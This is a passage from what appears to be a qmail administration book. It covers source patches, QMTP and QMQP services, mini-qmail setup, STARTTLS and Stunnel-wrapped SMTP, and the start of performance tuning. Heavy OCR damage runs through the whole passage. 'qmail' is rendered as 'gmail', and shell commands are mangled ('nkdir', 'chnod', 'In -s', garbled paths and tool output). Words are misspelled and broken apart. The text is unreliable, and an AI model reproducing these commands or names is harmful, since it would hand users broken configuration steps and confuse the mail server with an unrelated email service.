you need to ingtall anewer version, visit the GNU patch Web site (http:/Amww.gnu.org/software/patch/patch.html).

Various source code patches are available for gmail. The unofficial gmail Web ste ( http:/mww.gmail.org/) contains
many patches and linksto patches.

Caution
None of the patches available for gmail
have been reviewed or approved by
gmail’s creator. They may be perfectly
safe and reliable, or they could contain
serious security, religbility, or
functiondity bugs. Usethem at your
own risk, and be sureto identify the
patches you've ingtalled when reporting
any problems. Most gmail ingalations
do not need any patches. Think twice
before installing source-code patches.

| nstalling Patches

Toingall apatch, download it using your Web browser or FTP client, cd to the gmail sourcetree, and apply it using
the patch command. For example:

# cd /usr/local/src/qgmail/qgmail-1.03

# patch -p0 </tnp/ patchfile

...lots of output, look for "failed hunks". . .
#

Depending on how the patch file was created, you might have to leave the -p0 (letter p, number zero) option off or
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changeit to -pl (letter p, number one) to get the patch to apply cleanly.

Stop gmail by killing gmail-send or, if you ingtaled the gmailctl script in Chapter 2, "Indtaling gmail,”" do this:

# gmailctl stop

St oppi ng gmai | .
grmai | - smt pd
grmai | - send

#

Then rebuild and ingall the new binaries:

# make setup check

...lots of output ending with sonething |ike:
./install

. /i nstcheck

#

And restart gmall:

# gmailctl start
Starting gmail
#

Findly, test gmail especialy the part you patched.
Frequently Used Patches

Most ingalations require no patches whatsoever. Y ou should use patches only when there's a demonstrated need.
That said, let'slook at some of the more frequently used patches.

DNS

Higtoricdly, DNS responses have been limited to 512 bytes. Some large Sites have started returning M X responses
longer than that. gmail and many other programs have a problem with queriesthat return very large results. Most
large sites have stopped sending oversized DNS responses because of these problems. There are three waysto fix
thisin gmail, two of which require modifying gmail.

Use dnscachefrom djbdns

This solution isn't apatch, but becauseit fixed a problem that is often solved using patches, it's appropriate to
mention it here. The creator of gmail has written a DNS server package cdled djbdns. Included in this packageisa
caching-only DNS server cdled dnscache. By ingtaling dnscache and configuring /etc/resolv.conf to direct al DNS



lookups on the system to the local cache, you'll get severa benefitsincluding improved lookup performance and the
ability to handle large DNS responses transparently.

Thissolution is preferred over those requiring source-code modification because, obvioudy, it doesn't require
modifying gmail, and it also fixes the problem for non-gmail programs. See Appendix B, "Related Packages,” for
more information about djbdns.

Raise the Packet Buffer Sizeto 65,536

The smplest source-code fix isto increase the size of the buffer used to store DNS responses. This method works
with recent Berkeley Internet Name Daemon (BIND) resolver libraries, which will automatically do a Transmission
Control Protocol (TCP) query within the library codeif the User Datagram Protocol (UDP) reply comes back with
the truncation bit st. I1t'saso potentially wasteful of memory, depending on how your system handles paging. To
make this change, just replace PACKETSZ with 65536 in thefile dns.c and rebuild gmail.

Christopher K. Daviss DNS Patch

This patch (http://mww.ckdhr.com/ckd/gmail-103.patch) is an adaptation of a patch by Chuck Foster that should
work with any resolver library, no matter how old, and usesa"guard byte" to avoid acommon library bug regarding
the number of bytes placed in the buffer. It reallocates the packet buffer only onceto 65,536, rather than just to the
Sze needed, S0 it can be less memory-efficient than Foster's patch (though, like Foster's patch, it only reallocates if
the responseislarger than PACKETSZ, which defaultsto 512 bytes). After reallocating the buffer, it forcesa TCP
query, rather than requiring the resolver library to do so (avoiding an extra round-trip between gmail and the name
serve).

Big-concurrency

Asdigtributed, gmail supports up to 240 smultaneousloca and remote ddliveries, limited by the concurrencyloca
and concurrencyremote control files. Some Stesthat distribute very large numbers of messages from
high-performance servers can handle more than 240 s multaneous gmail-remote processes.

This patch (http:/Amww.gmail.org/big-concurrency.patch) alows gmail to use concurrencies of up to 65,000.

Notethat few ingtdlationswill benefit from this patch. Testing has shown that at high concurrencies, the delivery rate
may be limited by the receiving systems. Also, if your system lacks the 1/0, network, and processor performanceto
maintain aconcurrency of 240, ingtaling this patch won't magically fix that. See the " Performance Tuning” section for
tipsthat will enable you to maintain higher concurrencies.

Big-todo

In the queue subdirectories most likely to contain many files, gmail adds an intermediate level of "split" subdirectories
to keep the number of files per directory managesable. (See " Tuning the Queue" later in this chapter and Chapter 2,
"Ingaling gmail,” for more information about the conf-split configuration setting.) Thisis necessary becauise most
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Unix file system implementations use linear searchesto locate filesin directories, so finding filesin large directories
can become quite dow.

Thetodo directory, which stores the envel opes of queued but unprocessed messages, and the intd directory, which
stores envel opes under congtruction, are not split, though. Normally, gmail-send processes new messages quickly,
and todo and intd never contain many files. On some very busy servers, though, they can grow quitelarge.

This patch (http://mwww.gmail .org/big-todo.103.patch) adds splitting to the todo and intd directories. If your todo
often contains so many filesthat directory lookups take along time, you might want to apply this patch.

Caution
Ingtalling this patch will corrupt the
queueif todo and intd aren't empty. If
necessary, you can install asecond
copy of gmail with the big-todo patch
in aseparate directory (using the
conf-gmail compile-time configuration
setting) and run both versions until the
origind indalation'squeueisempty.

QMTP

gmail includes support for QM TP (see the next section) in the form of gmail-gmtpd, a QM TP daemon, but it has no
provison for sending mail usng QM TP. This patch implementsthe Mail Exchanger Protocol Switch (MXPS, see
http://cr.yp.to/proto/mxps.txt), aconvention that alows asite to indicate support for incoming QM TP by using
certain specia vauesfor itsMX record priorities.

For example, if example.com hasasingle MX record with apriority of 12801, sending MXPS-aware sites can
atempt to send messages to example.com viaQMTP. If they're unable to send the message viaQMTP, they will try
sending it usng SMTP.

This patch (http://mww.gmail.org/gmail-1.03-gmtpc.paich) modifies gmail-remote to make it MXPS-aware and to
try to send messages using QM TP to sites that advertise support for it.

Link-sync

Asmentioned in Chapter 2, "Ingtalling gmalil,” gmail relieson BSD Fast File System's behavior of performing link()
calls synchronoudly, which meansthat the link() function doesn't return successfully until the directory and inode
information implementing the link is safely written to disk. Unfortunately, not al operating sysems and file systems
make the same guarantee, which can result in the loss of messages from the queuein the event of acrash.

This patch (http:/Amww.jedi.claranet.fr/gmail-link-sync.patch) adds explicit fsync() cals everywhere gmail doesa
link(), restoring the crash-proof nature of gmail’'s queue on systemsthat don't inherently perform link() synchronoudly.
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Another dternative, also discussed in Chapter 2, isthe syncdir library (see Appendix B, "Related Packages'), which
provideswrapped versons of standard library functions, including link(), for Linux. This hasthe advantage of not
requiring asource-code modification to gmail but isonly an option for Linux ingallations.
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Using Quick Mail Transfer Protocol

QMTPisan SMTP replacement protocol designed by Dan Bernstein. The protocol is defined at
http://cr.yp.to/proto/gmtp.txt. QMTPissimilar to SMTP but issmpler, faster, and incompatible with SMTP. gmail
includes aQM TP server, gmail-gmtpd, which is run very much like gmail-smtpd. QM TP usualy uses port 209.

gmail doesn't includea QM TP client, but the serialmail package does (see Appendix B, "Related Packages").
maildirgmtp takes amaildir mailbox and ddliversthe messagesit containsto the designated QM TP server viaQMTP.

QMTPisnot adrop-in replacement for SMTP, and it's not yet in widespread use across the Internet.

A patch isavailable for gmail-remote that adds support for QM TP (see the previous section for more information.)

Setting Up aQMTP Service

gmail-gmitpd is built and installed with gmail. To activate t, all you need to do is set up aservice directory for it under
[service.

A tarball package is available (http://mww.gmail.org/gmtpd-servicetar.gz) that can be extracted to configure a
QMTP sarvice.

For example, to set up aQMTP sarvice, do this:

$cd/tnp
$ wget http://ww. gmail.org/gntpd-service.tar. gz
11:58: 09 http://ww. gnai | . org/ qnt pd-servi ce.tar. gz
=> 'qnt pd-service.tar.gz. 1
Connecting to ww. gnail.org:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 1,054 [application/x-gunzip]

0K -> . [ 100%
11:58: 11 (114.37 KB/s) - 'qgntpd-service.tar.gz.1l saved [1054/1054]

$ su

Password: rootpassword

# cd / var/qnail/supervise

# zcat /tnp/gntpd-service.tar.gz | tar xf -

# 1n -s /var/gmail/supervise/qm pd /service
#
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Within seconds, svscan will notice the /service/gmtpd directory and run supervise on it. gmail-gmtpd usesthe
repthosts fileto control relaying, just like gmail-smtpd. Unlike the servicesingaled in Chapter 2, "Ingaling gmall,”
the gmtpd service directory is sdf-contained: Logging and configuration is done under /var/gmail/supervise/gmtpd.

QMTP

SMTP requires alot of back and forth between the client and server, which lowersits performance over high-latency
connections. It'saso not 8-bit clean some MTASrefuse or damage messages containing characters with the highest
bit set which makesit hard to send messages composed with international character sets. It also requires messages
to be converted to DOS-style carriage return/line-feed (CR-LF) newlines when they're sent over the network.

QMTP minimizes the number of round trips required between the client and server and isentirely 8-bit clean. It also
allows messages to be sent with either DOS-style CR-LF or Unix-style LF-only newlines.

RFC 1854, replaced by RFC 2197, added the PIPELINING extension to SMTP. This extension allows SMTP
clientsto continue sending SM TP commands without waiting for responses to previous commands from the server.
Thisfeature was added to lessen the effect of high-latency connections on SVITP performance. QM TP goes one
step further by alowing messagesto be sent using asingle "command” followed by one server response per recipient
and the didogueis pipdined, so the client doesn't have to wait for server responses while it has got more messagesto
send.

For example, sender@host-a is sending a message to recip@host-b. Using standard SMTP, the dialogue would
look like Figure 7-1.
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Figure 7-1: Example SV TP didlogue

The complete dial ogue requires seven round trips from host-a to host-b and back to host-a. Note that each
additiond recipient will add another round trip.

Figure 7-2 showsthe same exchange using pipelining SMTP.
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Figure 7-2: Example of pipelined SMITP dialogue

Pipelining has reduced the number of round trips from seven to four, and multiple recipients won't require additional
round trips.

Findly, Figure 7-3 shows how the message would be sent usng QMTP.
host-a host-b

| connection requested

connection accepted

message
senderighost-a
recipghost-b

Kok E3E640135 qp 1390

Figure 7-3: Example of QM TP didogue

QMTP sends the message in two round trips, and, again, multiple recipients won't require additiona round trips.
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Using Quick Mail Queuing Protocol

QMQPisaprotocol designed to be used by clients for queuing messagesto asmart host that handlesthe ddlivery.
Thisrdievesdients of the burden of maintaining aqueue and retrying temporarily undeliverable messages. The
protocol isdefined at http://cr.yp.to/proto/gmgp.html. QM QP issmilar to QM TP in that it minimizesthe round trips
necessary for handing messages to servers, but it doesn't implement relay control so accessto QM QP servers must
be restricted to trusted clients. QM QP usually uses port 628.

gmail includes both a QM QP server, gmail-gmapd, and a QM QP client, gmail-gmgpc.

A dlient sysem using gmail-gmgpc is known asa mini-gmail indtalation.
Setting Up a QM QP Service

Setting up a QM QP serviceis straightforward once you've installed gmail, daemon-tools, and ucspi-tcp asin Chapter
2, "Ingaling gmail." First, select agmail server to be the QMQP smart host. All of the following actions must be
taken on this host.

1.

Create the service's directory:

# umask 022
# cd /var/qmail/supervise
# nkdir qgmail - gnypd
# cd gmail - gmgpd
# chnod +t .
#

Using atext editor, create anew file called run containing:

#!'/ bi n/ sh

QWA LDU D="id -u qnaild'
NOFI LESG D='id -g qmaild'
MAXQMQPD=" head -1 /var/gmail/control/concurrencygngp'
if [ -z "$SMAXQMQPD" ]; then

echo MAXQMQPD i s unset in

echo /var/qmail/supervise/ qmail - gmgpd/ r un

exit 1
fi
exec /usr/local/bin/softlimt -m 2000000 \

/usr/local/bin/tcpserver -v -p -x /etc/tcp.qnmgp. cdb -c¢ "$MAXQVQPD" \
-u "$QWAI LDUI D' -g "$NOFI LESG D' 0 628 /var/gmail/bin/gmail-qgngpd 2>&1


http://cr.yp.to/proto/qmqp.html
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Note
Under Solaris, use /usr/xpgd/bin/id
ingtead of id.

Make the run script executable and set up the log directory:

# chnod 755 run
# nkdir 1og
# cd |l og
#

Using atext editor, creste anew file cadled run in thelog directory containing:

#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog \
t /var/log/gmail/gngpd

5.

Make the log/run script executable and creste the logging directory:

# chnod 755 run
# nkdir /var/log/qmail/qnmpd
# chown gnaill /var/| og/gmail/gngpd

#
6.
Using atext editor, create the /etc/tcp.gmap access control file. Allow access only from trusted hosts, and
explicitly deny accessto all other hosts. For example, if you want to alow al hosts on thelocal network to
gueue messages, and theloca network is192.168.1.x, the file would contain this:
192.168.1.:all ow
: deny
7.
Build the machine-readable version of the access control database,
/etc/tep.gmap.cdb:
# tcprules /etc/tcp.qmgp.cdb /etc/tcp.qmgp.tnp </etc/tcp. qngp
#



Create the concurrencygmap non-standard control file to limit smultaneous QM QP connections. For
example, to set the limit to 40:

# echo 40 > /var/qgmail/control/concurrencyqgngp

Link the service directory to /serviceto activateit:

# 1n -s /var/qgmail/supervise/gmail -gngpd /service

The gmailctl could aso be modified to control the QM QP service.
Setting Up a QM QP Client (Mini-gmail)

QMQP can be enabled on a system running gmail smply by replacing gmail-queue with asymboalic link to
gmail-gmgpc and listing the QM QP serversin control/gmagpservers. However, atrue mini-gmail ingtdlation is much
ampler and smaller than afull gmail ingtallation: There's no queue, so there's no need to run any daemons.

A mini-gmall ingalation requiresonly

gmail-gmagpc, forward, gmail-inject, sendmall, predate, datemail, mailsubj, gmail-showctl, maildirmake,
maildir2mbox, maildirweatch, gall, e, and ping in var/mini-gmail/bin

A symbalic link to gmail-gmgpc from var/mini-gmail/bin/gmail-queue

Symbolic linksto var/mini-gmail/bin/sendmail from /usr/sbin/sendmail and /usr/lib/sendmail

All of the man pagesin /var/gmail/man

A ligt of the IP addresses of the QM QP servers, one per line, in /var/mini-gmail/control/gmapservers

A copy of lvar/gmail/control/me, var/gmail/control/defaultdomain, and /var/gmail/control/plusdomain from
your smart host, so gmail-inject will use appropriate host namesin outgoing mail

Theloca hogt's namein /var/mini-gmail/control/idhost, so gmail-inject will generate Message-I D's unique to
the host



A mini-gmall kit (http:/Avww.din.or.jp/~ushijima/mini-gmail-kit.html ) is available, which, combined with thefull
gmail-1.03 tarbdl, will ingal only the piecesthat mini-gmail requires.

WEIl go through amini-gmail ingtdlation using thiskit:
1.

Download the mini-gmail kit using aWeb browser or command-linetool. At thetime of thiswriting, the
current verson is 0.63:

$ wget http://ww.din.or.jp/~ushijima/mni-qgmail-kit/mni-qmail-kit-0.52.tar.gz
08: 32: 32 http://ww. din.or.jp/%Eushijim/mni-qmail-kit/mni-qmail-kit-0.52
.tar.gz
=> "'mni-qmail-kit-0.52.tar.gz'
Connecting to ww.din.or.jp:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 6,174 [application/x-tar]

OK -> . . .. . . [100%
08:32:36 (3.51 KB/s) - 'mini-qgmail-kit-0.52.tar.gz' saved [6174/6174]

$

Unpack the kit and change to its directory:

$ zcat mini-gmail-kit-0.52.tar.gz | tar xf -
$ cd mini-gmail-kit-0.52
$

Unpack the gmail tarball under the current directory:

$ zcat /tnmp/gmail-1.03.tar.gz | tar xf -

Build themini-gmail Makefile:

$ nmake -f Makefile.mni
sed '/Mauto_uids\.c:/,/"$/d" qgmail-1.03/ Makefile > Makefile
cat Makefile.mni > Mkefile
while read file; \
do \
echo "'; \
echo "$file: gmail-1.03/$file"; \
echo "cat gmail-1.03/$file > $file"; \
done < FILES. gmail > Makefile
$
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Build the mini-gmail binaries and man pages.

$ nake nmini
cat qmail - 1. 03/ warn-auto.sh > warn-auto.sh
cat warn-auto.sh config-mni.sh\
| sed s}QVAIL}""'sed 1q conf-qgmail'"}g \

nrof f -man envel opes.5 > envel opes. 0

cat qmail-1.03/forgeries.7 > forgeries.?7
nroff -man forgeries.7 > forgeries.O

$

Ingtd| the binaries and man pages:

$ su
Password: root password
# make setup-nini
./install-mni
#

Configurethe mini-gmail ingalation:

# ./config-mni snmarthost domain plusdonain | ocal host nane\
> smarthostip
#
Putting smarthost into control/ne.
Putting domain into control/defaultdonain.
Putting plusdomain into control/plusdomain.
Putting | ocal hostnane into control/idhost.
Putting smarthostip into control/gngpservers.
#

For example, if the smart host is mail.example.com, with an | P address of 192.168.1.4, and the mini-gmail host is
null.example.com, you might use something likethis:

# ./config-mni mail.exanple. comexanpl e.com exanpl e.com null.exanpl e.com \
> 192.168.1.4

Putting mail.exanple.cominto control/ne.

Putting exanple.cominto control/defaultdonain.

Putting exanpl e.cominto control/plusdonain.

Putting null.exanple.cominto control/idhost.

Putting 192.168.1.4 into control/qgngpservers.

#

Test the mini-gmail ingalation. If your username on the smarthost iscarolyn, do this:



# echo to: carolyn | /var/mni-qnail/bin/qmail-inject
Verify that the message was ddlivered to your mailbox on the smarthogt.

Findly, st up linksto mini-gmail's sendmail program:

# rm-f /usr/lib/sendmail /usr/sbin/sendmai
In -s /var/mni-qmail/bin/sendmail /usr/lib/sendmai
I

#
# 1n -s /var/mni-qgmail/bin/sendmail /usr/sbin/sendmai
#

nullmailer

nullmailer (http:/Avww.untroubled.org/nullmailer/) isasmple MTA for null clients. It can use either SMITP or QM QP.
It'ssmilar to mini-gmail, except it implements aqueue. If mini-gmail can't reach a server when amessage isinjected,
it returns an error and the sending user or processisresponsiblefor retrying the ddivery later. nullmailer queuesthe
message locdly and automaticaly retriesto send it to a server.
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SecuringSMTP

The highest levels of security achievable with SMITP require gpplication-layer cryptography in the form of encryption
(for privacy) and digital sgnatures (for authentication). Thisfunctiondity is provided by packages such as Pretty
Good Privacy (PGP), located at http:/Amww.pgpi.org/ and http://Amww.pgp.com/, and GNU Privacy Guard (GnuPG),
located at http://Mmww.gnupg.org/. Unfortunately, these mechanisms aren't widely deployed. They're difficult to
integrate into MUAS, and they present problems of their own, such as key distribution.

A more practica level of security is Trangport Layer Security (TLS) using the STARTTLS extensonto SMTP. TLS
provides both encryption and authentication, but unlike application layer security, it isonly in effect between MUAS
and MTAs. Oncean MTA acceptsamessageviaa TLS SMTP session, it'sfree to store the message in clear text
(unencrypted). And TL S authentication is suitable for determining the authenticity of the remote host which is useful
for relay control but it won't hel p the recipient determine the authenticity of the sender.

STARTTLS

The STARTTLS command, when issued to an SMTP server that implementsiit, activates Secure Sockets Layer
(SSL), aform of TLS, on the current session. Using SSL, the client and server can verify each other'sidentity
(authenticate) and communicate secretly.

A pachisavailable (http://Mmww.esat.kuleuven.ac.be/~vermeule/gmail /tls.patch) that implementsthe STARTTLS
extension to SMTP as described in RFC 2487 (http:/mww.ietf.org/rfc/rfc2487.ixt). The patch requires OpenSSL
(availablefrom http://Amww.opensd.org/). Initsbasic configuration, it alows STARTTLS-competible clientsto
authenticate the server and encrypt the SMTP did ogue. Optionaly, it can be used to authenticate clientsfor granting
relay access (see " Rdaying" in Chapter 3) or for authenti cating/encrypting dia ogues with remote servers.

Installing the STARTTLS Patch

Ingtall and test gmail before attempting to ingtal the STARTTLS patch:
1.

Download the patch using your Web browser or acommand-line utility. For example, usng wget, do this:

$ wget http://ww. esat. kul euven. ac. be/ ~verneul e/ qnai | /t]s. pat ch
13:54:50 http://ww. esat . kul euven. ac. be/ %9Everneul e/ qmai | /t1 s. pat ch
=> "tls. patch'
Connecting to ww. esat. kul euven. ac. be: 80. . . connect ed!
HTTP request sent, awaiting response. . . 200 K
Lengt h: 26,629 [text/plain]

OK => o0 o o o [ 100%
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13:54:58 (4.38 KB/s) - 'tls.

$
2.
Ingtall the patch:
$ cd gmail-1.03
$ patch < ../tls.patch
patching file Makefile
patching file conf-cc
patching file dns.c
patching file ipalloc.h
patching file gmail-renote.c
patching file gmail-sntpd.c
$
3.
Rebuild gmall:
$ su -
Password: root password
# gmailctl stop
St oppi ng grai | .
grmai | - smt pd

grmai | - send
# make setup check
(cat warn-auto.sh; \
echo CC=\""'head -1 conf-cc'\"'; \
echo LD=\""'head -1 conf-Id"\
...lots of output ending with sonmething |ike:
auto_uids.o strerr.a substdio.a error.a str.a fs.a

./install

./instcheck

#

patch' saved [ 26629/ 26629]

A

Ingtal acertificate. If you don't require a certificate signed by arecognized Certificate Authority (CA), you
can generate your own self-signed certificate.

# make cert
openss
-out /var/qmail/control/servercert.pem -days 366 \
-keyout /var/qnail/control/servercert. pem

Usi ng configuration from/usr/share/ssl/openssl.cnf
Cenerating a 1024 bit RSA private key

Note

req -new -x509 -nodes \

Thefunctiond difference between a
sdf-sgned certificate and aCA-signed
cettificateisthat usersmay be
prompted to accept the self-signed
certificate the first time their MUA sees
it.



.+
B b o
witing new private key to '/var/qgnuil/control/servercert. pen
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Nane or a DN
There are quite a few fields but you can | eave some bl ank
For some fields there will be a default val ue,
If you enter '.', the field will be left blank
Country Name (2 letter code) [AU]: US
State or Province Narme (full nanme) [Some-State]: Tennessee
Locality Nane (eg, city) []: Cak Ridge
Organi zati on Nane (eg, conpany) [Internet Wdgits Pty Ltd]: Exanple, Inc
Organi zational Unit Name (eg, section) []:.
Conmmon Nane (eg, your name or your server's hostnane) []: exanpl e.com
Enmai | Address []: post nast er @xanpl e. com
chnod 640 /var/qmail/control/servercert. pem
chown gnaild.gmail /var/qmail/control/servercert.pem
In -s /var/qmail/control/servercert.pem/var/qmail/control/clientcert.pem
#

Note
Makefile codesthe full path to the
openss command,
Jusr/local/ssl/bin/opensd. If your
opensd programisinddledina
different directory, you'll need to edit
Makefile appropriately. For example, if
opensd isin /usr/bin, asin Red Hat
Linux 7.1, you can replace thefull path
namewith just opensdl.

Regtart gmail:

# gmailctl start
Starting gmail
#

Test gmail-smtpd from the local host. Y ou should see something like this:

# telnet 0 25
Trying 0.0.0.0...
Connected to O.

Escape character is '"~]"'.

220 dol phi n. exanpl e. com ESMIP
ehl o dude

250- dol phi n. exanpl e. com

250- PI PELI NI NG

250- STARTTLS

250 8BI TM ME

quit

221 dol phi n. exanpl e. com



Connection closed by foreign host.
#

If you see alinein the response to the ehlo command that mentions” STARTTLS," skip to step 8.
7.

If you saw something in step 6 like this:

# telnet 0 25
Trying 0.0.0.0...
Connected to O.
Escape character is '~]"'.
Connection closed by foreign host.
#

then you probably need to adjust /var/gmail/supervise/gmail-smtpd/run to alow gmail-smtpd to use more memory.
Theinclusion of the OpenSSL library increases the space required by gmail-smtpd. In gmail-smtpd/run, change the
memory limit specified in the softlimit command. For example, if your run script lookslike this:

#!'/ bi n/ sh
QWAILDU D="id -u qnaild'
NOFI LESG D="'id -g gmaild'
MAXSMIPD=' head -1 /var/qgmail/control/concurrencyi ncom ng'
exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c "$MAXSMIPD' \
-u "$QVAILDU D' -g "$NOFILESG D' 0 sntp /var/gmail/bin/gmail-sntpd 2>&1

changeit to something likethis:

#!'/ bi n/ sh
QWA LDU D="id -u qnaild'
NOFI LESG D='id -g qmaild'
MAXSMIPD=' head -1 /var/qgmail/control/concurrencyinconi ng'
exec /usr/local/bin/softlinmt -m 3000000 \
/usr/local/bin/tcpserver -v -p -x [/etc/tcp.sntp.cdb -c "$MAXSMIPD" \
-u "$QWAI LDUI D' -g "$NOFILESG@ D' 0 sntp /var/qgmail/bin/gmil-sntpd 2>&1

Y ou might need to raise the limit as high as 10000000.

After modifying the run script, tell superviseto restart the service:

# svc -t /service/qgmail-sntpd/run
#

Test the STARTTL Sfunctionality using acompatible MUA. Verify that a message sent through the server
usng STARTTLS containsa Received fidd like this



Recei ved: from dol phi n. exanpl e. com (HELO dol phi n. exanpl e. con) (192.168. 1. 4)
by mail.exanpl e.com wi th DES- CBC3- SHA encrypted SMIP; 3 Jul 2001 08:54:50 -0000

SSL-Wrapped SMTP
Although the STARTTL S extension isthe preferred method of securing SMTP, some MUASs only support the
deprecated method of wrapping the SMTP exchange with SSL.

There are acouple of SSL wrapping utilitiesavallable, including

* Sunne (http://Amww.stunnd.org/)

* SSLWrap (http:/Amww.rickk.com/sswrap/)

Installing Stunnel

Toingdl Stunnd, follow these seps.

1.

Download the source tarbal using your Web browser or acommand-line utility such aswget. At thetime of
thiswriting, 3.15 isthe current version. For example, using wget:

$ wget http://ww. stunnel . or g/ downl oad/ st unnel / src/stunnel -3. 15. tar. gz
13:37: 05

http://ww. stunnel . or g/ downl oad/ st unnel / src/ stunnel -3. 15.tar. gz
=> 'stunnel -3.15.tar. gz’

Connecting to ww. stunnel . org: 80. connect ed!
HTTP request sent, awaiting response. . . 200 K
Length: 120,633 [application/octet-strean

oK -> .
I 429
50K -> .
.[ 84%
100K -> .
[ 100%

13:38:21 (1.76 KB/s) -

$

"stunnel -3.15.tar.gz' saved [120633/120633]

Unpack the tarball:
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$ gunzip stunnel-3.15.tar.gz
$ tar xf stunnel-3.15.tar
$ cd stunnel -3.15
$

Build thebinaries:

$ ./configure

creating cache ./config.cache
checki ng host systemtype. . . i686-pc-Iinux-gnu
checking for gcc. . . gcc
...lots of output ending with sonething like:
updating cache ./config.cache
creating ./config.status
creating Makefile
$ neke
gcc -g -2 -Wall -1/usr/include -DVERSI ON=\"3. 15\" -DHAVE OPENSSL=1 -Dssldir=\"
Jfusr\" -DPEM DI R=\"\" -DRANDOM FI LE=\"/dev/urandom " -DSSLLIB CS=0 -DHOST=\" i 686
-pc-linux-gnu\" -DHAVE LIBDL=1 -DHAVE LI BNSL=1 - DHAVE LI BPTHREAD=1 - DHAVE LI BUTI
...lots of output ending with sonething like:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN
There are quite a few fields but you can | eave sone bl ank
For some fields there will be a default val ue,
If you enter '.', the field will be left blank
Country Nane (2 letter code) [PL]: US
State or Province Nane (full nane) [Some-State]: Tennessee
Locality Nane (eg, city) []: Cak Ridge
Organi zati on Nane (eg, conpany) [Stunnel Devel opers Ltd]: Exanple, Inc
Organi zational Unit Nanme (eg, section) []:
Conmon Nane (FQDN of your server) []: exanple.com
Conmmon Nane (default) []:1ocal host
[ usr/ bi n/openssl x509 -subject -dates -fingerprint -noout \
-in stunnel . pem
subj ect = / C=US/ ST=Tennessee/ L=Cak Ri dge/ O=Exanpl e, | nc/ OU=none/ CN=exanpl e. com C
N=l ocal host
not Bef ore=Jul 22 17:41:38 2001 GMJI
not After=Jul 22 17:41:38 2002 GVI
MD5 Fi nger print=37: FE: 80: F6: 20: CC. 58: 0C: BE: 58: B9: 54: 91: B5: E8: 67
$

Ingdl the binaries.

$ su
Password: rootpassword
# make install
.Inkinstalldirs /usr/local/sbin /usr/local/lib /usr/local/mn/mn8 /usr/l ocal/
var/ st unnel /
nkdi r /usr/local/var/stunne
chmod a=rwx, +t /usr/|ocal /var/stunnel/

fusr/bin/install -c -m 711 stunnel /usr/|ocal/sbin
test -s stunnel.so & /usr/bin/install -c -m 755 stunnel.so /usr/local/lib
lusr/bin/install -c -m 644 stunnel .8 /usr/local /man/ man8

if [ -n"" ] ; then\



/fusr/bin/install -c -m 600 stunnel.pem; \

Setting Up an SSL-Wrapped SMTP Service

With gmail, daemontools, and Stunnel installed, you can now set up an SSL-wrapped SMITP service. Follow these
deps

1.

Creste /lvar/gmail/supervise directories for the new service:

# nkdir -p /var/gmail/supervise/sm psd/| og
# chnod +t /var/gnmail/supervise/sntpsd
#

Creste /var/gmail/supervise/smtpsd/run containing:

#!'/ bi n/ sh
QI LDU D="id -u qnaild'
NOFI LESG D="id -g gmaild'
MAXSMIPD=' head -1 /var/qgmail/control/concurrencyi ncom ng'
if [ -z "SQVAILDU D" -0 -z "$NOFILESE D' -0 -z "$MAXSMIPD' ]; then
echo QVAI LDU D, NOFILESG@ D, or MAXSMIPD i s unset in
echo /var/qgnail/supervise/ qmail -sntpd/run
exit 1
fi
exec /usr/local/bin/softlimt -m 3000000 \
/usr/local/bin/tcpserver -v -R-H -l 0 -x /etc/tcp.sntp.cdb -c "$SMAXSMIPD"' \
-u "$QVAILDU D' -g "$NOFILESG D' 0 465 \
[usr/local/sbhin/stunnel -f -p /usr/local/etc/stunnel.pem\
-1 /var/qgmail/bin/qgmail-sntpd 2>&1

Thisscript ismodeled after the /var/gmail/supervise/gmail-smipd/run script from Chapter 2, "Ingaling gmail.” The
changes have been highlighted in bold.

Thefirst change isto raise the memory limit from 2000000 to 3000000. Adding the stunnel process and the SSL
encryption code requires more memory. On some platforms, you might haveto raise the limit even higher.

The second change isto use port 465 instead of smtp. Port 465, also known as smtps, is the standard port for
SSL-wrapped SMTP.

Thelast changeisto replace the gmail-smtpd invocation with a stunnel invocation that runs gmail-smitpd. The stunnel
command arguments are



-f tellsstunnel to stay in the foreground which tcpserver requires.

-p /usr/local/etc/stunnel .pem specifies the location of the server's Privacy Enhanced Mail (PEM) key.

- ivar/gmail/bin/gmail-smtpd tells stunndl to run gmail-smtpd to handle the protocol diadogue.

3.
Create var/gmail/supervise/smtpsd/log/run containing
#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/mltilog \

t /var/log/qmail/sntpsd

Set the permissions on the run scripts and create the logging directory:

# chnmod 755 /var/qmail /supervise/snt psd/run
# chnmod 755 /var/qmail / supervi se/ snt psd/ | og/ run
# nkdir /var/log/qmail/sntpsd
# chown gmaill /var/l|og/gmail/sntpsd
#

Link the serviceto /sarvice:

# In -s [/var/gmail/supervise/sntpsd /service

Verify thet the sarviceisrunning:

# svstat /service/sntpsd
/servicel/smpsd: up (pid 22164) 9 seconds
# telnet 0 465

Trying 0.0.0.0.
Connected to O.
Escape character is ']
j unk
j unk
Connection closed by foreign host.
#

Test the secure SMTP service using acompatible MUA. Check /var/log/gmail/smtpsd to verify that the



MUA connected to port 465.
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Performance Tuning

gmail isahigh-performance MTA. On amodern computer, agmail ingtalation that hasn't been carefully configured
for optimum performance should be able to handle at least amillion messages per day. For some sites, though, that's
not good enough. Many things can affect the performance of agmail ingtalation, including system software and
configuration; hardware type and configuration; network latency, bandwidth and configuration; and gmail
configuration.

IsTherea Problem?

Before you charge off and start tuning your gmail ingtdlation, you should determine whether you actualy have a
performance problem. The old adage applieshere: "If it ain't broke, don't fix it." Therésno point in configuring a
system that will never handle more than a couple thousand messages per day to handle 10 million messages per day.

If you are having problems, you're probably already aware of them. Here are some of the potentia indicators of a
poorly performing system:

Delivery rateistoo low. You need to deliver amessageto alist of 10,000 recipientsin 15 minutes, but it's
taking an hour.

Deliveriestake too long. It takes half an hour for amessage to be sent between two people on the same
sysem.

Unprocessed message count is too high. The number of unprocessed messages reported by gmail-gstat
stays above zero for along time or never goes down.

Load average is too high. The system load average goes through the roof when delivering to largelists or
dayshigh dl thetime.

Local/remote concurrencies never reach their limits. gmail-send is unable to start more ddliveries, even
though there are messages waiting to be ddlivered now.

